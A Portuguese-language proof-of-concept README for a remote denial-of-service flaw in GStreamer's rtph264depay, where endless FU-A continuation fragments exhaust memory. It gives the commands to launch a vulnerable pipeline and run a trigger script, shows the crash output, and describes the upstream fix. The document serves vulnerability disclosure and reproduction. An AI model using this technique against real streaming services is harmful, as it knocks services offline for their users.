
Prova de conceito para CVE-2026-18649, uma vulnerabilidade remota de negação de serviço no depayloader H.264 RTP do GStreamer (rtph264depay).
Prova de conceito para uma vulnerabilidade de exaustão de recursos no depayloader de RTP H.264 do GStreamer (rtph264depay). O mesmo padrão também afeta o rtph265depay.
Durante a remontagem de RTP fragmentado H.264 FU-A, cada fragmento recebido é colocado num buffer interno GstAdapter sem limite de tamanho. O adaptador só liberta o conteúdo quando o bit de fim de fragmento (E) é definido no cabeçalho FU. Um atacante remoto envia um fragmento inicial válido e, em seguida, um fluxo interminável de fragmentos de continuação, sem nunca definir o bit E. O buffer continua a crescer até o processo ficar sem memória e crashar.
Análise completa: 0xsemizzz.vercel.app/projects/gstreamer-cve
gst-plugins-good anterior à correção upstream. Confirmado na versão 1.28.2 (Ubuntu 24.04).
Inicie uma pipeline e depois execute o PoC:
gst-launch-1.0 udpsrc port=5036 buffer-size=4194304 \
caps="application/x-rtp,media=video,payload=96,clock-rate=90000,encoding-name=H264" \
! rtph264depay ! fakesink &
PID=$!
python3 trigger.py 5036 $PID
Para um crash mais rápido, adicione um limite de memória:
ulimit -v 262144 # 256 MB, process dies in about 12 seconds
gst-launch-1.0 udpsrc port=5036 buffer-size=4194304 \
caps="application/x-rtp,media=video,payload=96,clock-rate=90000,encoding-name=H264" \
! rtph264depay ! fakesink &
python3 trigger.py 5036 $!
[*] port=5036 1 fragment every 0.5ms (~2.8 MB/s)
[*] monitoring VmData (heap), not RSS
[*] target PID=12345 baseline VmData=26 MB
5000 frags ~ 7 MB sent | VmData=35MB (+8MB)
10000 frags ~ 13 MB sent | VmData=44MB (+17MB)
15000 frags ~ 20 MB sent | VmData=53MB (+26MB)
20000 frags ~ 27 MB sent | VmData=62MB (+35MB)
25000 frags ~ 33 MB sent | VmData=71MB (+44MB)
30000 frags ~ 40 MB sent | VmData=79MB (+53MB)
...
DEAD
Uma propriedade max-reassembly-size foi adicionada ao rtph264depay e ao rtph265depay. As aplicações devem defini-la para um valor razoável (16 MB para vídeo é o típico). O padrão é 0 (ilimitado) para compatibilidade com versões anteriores.